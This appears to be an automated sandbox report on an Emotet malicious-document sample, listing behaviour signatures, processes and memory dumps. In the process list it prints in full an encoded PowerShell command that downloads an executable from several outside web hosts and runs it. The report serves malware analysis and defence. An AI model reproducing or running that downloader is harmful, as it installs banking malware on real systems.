Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    57s
  • max time network
    64s
  • resource
    win7

Sharing

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General

  • Target

    Docs_34df7390e3fba4cc8b8de327c79c3741.html

  • Sample

    191010-4rly58v2mj

  • SHA256

    51de13d18a23740342f1c681de4cb6c2baf116f2a4df4730c5338439d05823e4

Score
N/A

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 5 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 6 IoCs
  • Modifies registry class 1 TTPs 367 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_34df7390e3fba4cc8b8de327c79c3741.html.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1272
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADcAOABjADIAOQA3ADcAYwB4ADMAMAA9ACcAeAA4ADIAMAAwADQANAA1ADQANwAxADEANwAnADsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwAgAD0AIAAnADMAMgAwACcAOwAkAGMANgA1ADEAOQA5ADQANQA0ADAAMAA9ACcAYwA2ADIANQBjADkANwBjADAAMABjAGIAJwA7ACQAeAA3ADgAYwB4ADkANQAyAGIAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjADkAOQAwAGMAOQAwADkAMgA1ADkANwArACcALgBlAHgAZQAnADsAJAB4ADAAeABjADIAMAB4AGIAMAAzAHgAPQAnAHgAMAA1AHgANAAxADAAOQBiADAAOQAnADsAJABjADEAMwA0ADUANAB4ADgAYwB4AHgANAAzAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAEUATgB0ADsAJABiADAAMABjADYAYwAxADgANwA5ADkANgA9ACcAaAB0AHQAcAA6AC8ALwBlAHIAYQBrAG8AbgBsAGEAdwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFEAaQBtAGEAeQBKAHUATQBZAC8AQABoAHQAdABwADoALwAvAGMAYQByAGUAZQByAHAAbAB1AHMAcwBhAHQAbgBhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBZAG4ASwBjAGMAbgBoAFoASwAvAEAAaAB0AHQAcAA6AC8ALwByAGEAbQBlAHMAaAB6AGEAdwBhAHIALgBjAG8AbQAvADMAbABqAGoANgAvAHcAUQBzAHQAdgBlAE0AQQBHAG0ALwBAAGgAdAB0AHAAOgAvAC8AcABsAGEAbgBlAHQAbABhAG4AYwBlAHIALgBjAG8AbQAvAGgAOAByAGcAZQAvAGsAaQBtADYANgBfAGEAZQBxAG4AYQA4ADAALQAyADAAOAA1AC8AQABoAHQAdABwADoALwAvAHAAcgBhAGQAbwBwAHIAbwAuAHIAdQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBhAGIAcABpAFYARQBvAGYALwAnAC4AIgBzAFAAYABMAGkAdAAiACgAJwBAACcAKQA7ACQAeAAwAGMAOQAzAGIAMwA2ADQANgAzADcAPQAnAGIAOAA5ADAANABiADQAMwAyADMAMAA5ACcAOwBmAG8AcgBlAGEAYwBoACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACAAaQBuACAAJABiADAAMABjADYAYwAxADgANwA5ADkANgApAHsAdAByAHkAewAkAGMAMQAzADQANQA0AHgAOABjAHgAeAA0ADMALgAiAEQAYABvAFcAbgBsAE8AYQBkAEYAYABJAGwARQAiACgAJAB4ADMAOQAwADcAMgAwAGIAYwBjADYAMwAwACwAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApADsAJABiADAAMAAyADAAOAA4AGIAMABiAHgAMAA9ACcAYwAzAGIANAA5ADAANAB4ADQAeAAzADMAYwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHgANwA4AGMAeAA5ADUAMgBiADgAOAApAC4AIgBsAGUAYABOAEcAdABIACIAIAAtAGcAZQAgADMANgAzADMAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAFQAYQBgAFIAdAAiACgAJAB4ADcAOABjAHgAOQA1ADIAYgA4ADgAKQA7ACQAYwA3ADEAMAB4ADUANgB4ADAAeAA5ADQAOQA9ACcAYgAzADgANgAwADEAMwB4AHgAeAA1ADYAMAAnADsAYgByAGUAYQBrADsAJABiADAANQBjAGIANAA5ADAAOQAzADAAYgA9ACcAeAB4ADMAOQBiADAAMAA2ADIAOAA3ADcAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwA3ADAANgBiADQANwAwADAANwA2AD0AJwBiADAAYwBjAGMAMAA0ADAAeABjADAAMAAxACcA
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2004
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-18170784908697394311628740578387346531-677808680-42099562712138816031910190307"
    1⤵
      PID:252
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1960
    • C:\Users\Admin\320.exe
      "C:\Users\Admin\320.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1136
    • C:\Users\Admin\320.exe
      --c73fdd8f
      1⤵
      • Drops file in system dir
      • Emotet Sync
      PID:1672
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1480
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
      • Drops file in system dir
      PID:972

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • memory/972-7-0x0000000000400000-0x0000000000490000-memory.dmp

      Filesize

      576KB

      Download

    • memory/1272-0-0x00000000061D0000-0x00000000063D0000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1272-1-0x00000000061D0000-0x00000000063D0000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1672-4-0x0000000000400000-0x0000000000490000-memory.dmp

      Filesize

      576KB

      Download